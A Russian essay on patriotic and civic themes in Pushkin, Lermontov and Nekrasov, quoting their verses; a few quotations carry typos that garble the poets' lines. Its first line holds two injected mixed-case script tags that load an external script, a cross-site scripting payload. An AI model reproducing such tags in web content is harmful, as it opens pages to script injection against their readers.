<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Есть удивительная страна, имя которой — Поэзия. Нигде нет
таких широких и ярких радуг, здесь каждое слово подобно цветку, вечному,
ароматному. Стоит закрыть глаза — и ты почувствуешь “ласку рассвета”, увидишь
“последнюю краску заката”, “тропинку с бродом через ручей”, почувствуешь
“времени резкую дату”. Удивительно все это, конечно. Но такова высшая поэзия.
Порой случайное, второстепенное, словно туман в
горах, может на какое-то время закрыть от вашего взора главное в творчестве
поэта и даже исказить его подлинный облик. Но если поэт был истинным сыном
своего народа, если его волновала прежде всего судьба Отчизны, если чувство
Родины всегда жило в нем, то рано или поздно этот туман рассеется бесследно и
бесславно. И тогда, подобно горной вершине, обозначится его неповторимый образ.
Так было с Пушкиным, Лермонтовым, Некрасовым и другими поэтами прошлого века.
Ныне, “на расстоянье”, они становятся для нас все ближе и прекрасней.
Время Пушкина — это эпоха декабризма. Пушкинская
Россия — это годы, когда свободолюбивые, патриотические идеи, рожденные великим
народным подвигом в Отечественной войне 1812 года, тронули души передовых людей
России и заставили их еще раз крепко задуматься о будущем своей Отчизны, и не
только задуматься, но и открыто вступить на тернистый, но благородный путь
борьбы за свободу народа.
Среди этих мужественных сынов России был и сам
Пушкин. В своей оде “Вольность”, наполненной народной болью и гневом,
революционным призывом, поэт выносит самодержавию свой приговор:
Тираны мира! трепещите!
А вы, мужайтесь и внемлите,
Восстаньте, падшие рабы!
Судьба России, ее прошлое, настоящее, будущее —
вот что глубоко волнует Пушкина, определяет его гражданскую позицию, вот что
является главной темой его творчества, вот его радость и боль, немеркнущая
мечта и надежда:
Пока свободою горим.
Пока сердца для чести живы,
Мой друг. Отчизне посвятим
Души прекрасные порывы!
Художника формируют его время, его эпоха. Все
творчество великого поэта наполнено вольнолюбивыми идеями декабристов. Вместе с
ними “друг человечества” способствовал пробуждению Отчизны “ото сна”, росту
духовного самосознания его народа, накоплению революционной энергии России.
Поэт не отступает, не отрекается от своих духовных связей и единства с
декабристами и после того, как восстание на Сенатской площади потерпело
поражение. Об этом он со всей убежденностью говорит в “Арионе”:
На берег выброшен грозою,
Я гимны прежние пою...
Пушкинская Россия — это славная история его
Родины, история многовековой героической борьбы русского народа за свою
национальную независимость. Пушкинская Россия — это Россия Ломоносова, Петра
Первого, героев Отечественной войны 1812 года и дворянских революционеров,
крестьянских бунтарей и вожаков Степана Разина и Емельяна Пугачева, Россия
трудолюбивого и мужественного народа, который до поры до времени
безмолвствовал. Но есть и другая Россия, задыхающаяся от крепостнического гнета
и неволи:
Здесь барство дикое, без чувства, без закона.
Присвоило себе насильственной лозой
И труд, и собственность, и время земледельца.
Вот она, грустная и пронзительная песня о
горькой крестьянской доле. Многие свои стихи Пушкин посвятил Родине, народу и
имел право сказать о себе:
И долго буду тем любезен я народу,
Что чувства добрые я лирой пробуждал.
Эти строки стали призывными аккордами той
могучей песни народной борьбы за свободу, которую за Пушкиным продолжил
мятежный Лермонтов, а за ним великий поэт и гражданин Некрасов.
Лермонтову было шестнадцать лет, когда он
написал:
Мне нуле но действовать, я каждый день
Бессмертным сделать бы желал...
И ему было двадцать четыре года, когда у него
вырвалось:
Печально я гляжу на наше поколенье.
В бездействии состарится оно.
В промежутке между этими стихами вся жизнь
Лермонтова.
Ему надо было, подумать и о своем времени, и о
себе самом, как всякому, кто хочет быть достойным гражданином своей Родины.
После декабрьская Россия. Здесь “стонет
человечество от рабства и цепей!”. Как жить в этой стране, смотреть в глаза
современникам? Видеть будущее через завесу растерянности и упавшей воли? Как
найти силы в себе, как почувствовать себя нужным народу? Первым криком его
измученной души было стихотворение “Смерть Поэта”. Скорбь, горечь, грусть и
восхищение, боль и негодование — вот чувства влюбленного в свою Родину поэта,
вот защита высокой справедливости от произвола, насилия и варварства, царящих в
его России.
Страдальческая тень Пушкина осенила поэта,
который бросил вызов всем палачам, душителям свободы:
Но есть, есть Божий суд...
С невыразимым презрением он пишет в другом своем
стихотворении:
Прощай, немытая Россия,
Страна рабов, страна господ,
И вы, мундиры голубые,
И ты, покорный им народ.
Значит ли это, что Лермонтов любил Россию
меньше, чем Пушкин? Конечно, нет. Просто для него та Россия, которую он любит,
не имеет ничего общего с официальной Россией. Он ненавидит державный Петербург,
он равнодушен к воинской славе Российской империи. Она чужая для него. Поэтому
даже ему самому его любовь кажется странной.
Так что же он любит?
“Степей холодное молчанье”, “лесов безбрежных
колыханье”, любит прокатиться в телеге по проселочной дороге, любит “дымок
спаленной жнивы”, “избу, покрытую соломой”.
И это не внезапное чувство, оно живет в нем
всегда. В стихотворении “Родина” Лермонтов утверждает свою любовь к России
народной, крестьянской, к мощи и простору русской природы. Такая любовь
непонятна и незнакома “казенным патриотам”, видевшим величие России в
самодержавно-крепостническом строе.
В стихах Лермонтова та же огромная взрывная
сила, та же взрывная волна, что и у Пушкина. Не случайно один “глаголом жег
сердца людей”, другой “воспламенял бойца для битвы”:
А он, мятежный, просит бури,
Как будто в бурях есть покой.
Поэт любит Отечество по-своему, находит истоки
этой любви в прошедшем:
Да, бычи люди в наше время.
Могучее, лихое племя.
Высокая гражданственность, или, по Пушкину, “дум
высокое стремленье”, стала основой и для поэзии Некрасова. Он отразил свое
время. Оно вдохновляло и терзало его музу “мести и печали”. “Зрелище бедствий
народных” преследует его повсюду. Мы слышим кандальный звон каторжников,
протяжную, заунывную песнь бурлаков. На “благословенной реке” Некрасов испытал
первое глубокое горе:
О, горько, горько я рыдал,
Когда в то утро я стояч
На берегу родной реки,
И в первый раз ее назвал
Рекою рабства и тоски!..
Поэт смотрит на несжатую полосу, а ему слышится
печальный разговор ветра с тяжелыми колосьями, встает перед взором пахарь:
Руки, что вывели борозды эти,
Высохли в щепку, повисли, как плети,
Очи потухли, и голос пропал...
Не радует поэта и “здоровый, ядреный осенний
воздух”, когда он едет по железной дороге, что построена на костях русских
мужиков.
“Я лиру посвятил народу своему”, — скажет он в
“Элегии”, назовет свою музу “печальной спутницей печальных бедняков”. Горе
матери-отчизны — это горе ее народа. Вот почему
Не может сын глядеть спокойно
На горе матери родной.
Не будет гражданин достойный
К Отчизне холоден душой...
Сердце “надрывается от муки”, “плохо верится в
силу добра”, отовсюду несутся “царящие звуки барабанов, цепей, топора”.
Некрасов, “оглушенный, подавленный”, обращается к природе:
Мать природа! Иду к тебе снова
Со всегдашним желаньем моим
Заглушить эту музыку злобы!
Поэт приходит к мысли: надо бороться за
изменение основ социальной жизни. “Родная земля” вдохновляет его на борьбу, и
он благоговеет перед Родиной:
Опять она, родная сторона,
С ее земным и благодатным летом,
И вновь душа поэзией полна...
Да, только здесь могу я быть поэтом.
Выражая пламенную надежду на лучшее будущее
своей Родины, Некрасов зовет идти “в огонь за честь Отчизны”, за убеждения, за
любовь. Таково кредо поэта-гражданина Некрасова. Оно продиктовано сыновней
любовью к Родине, а она немыслима без веры в могучие силы народа. В поэме “Кому
на Руси жить хорошо” Некрасов призывает всех борцов встать за
Униженных, обиженных
На всей святой Руси.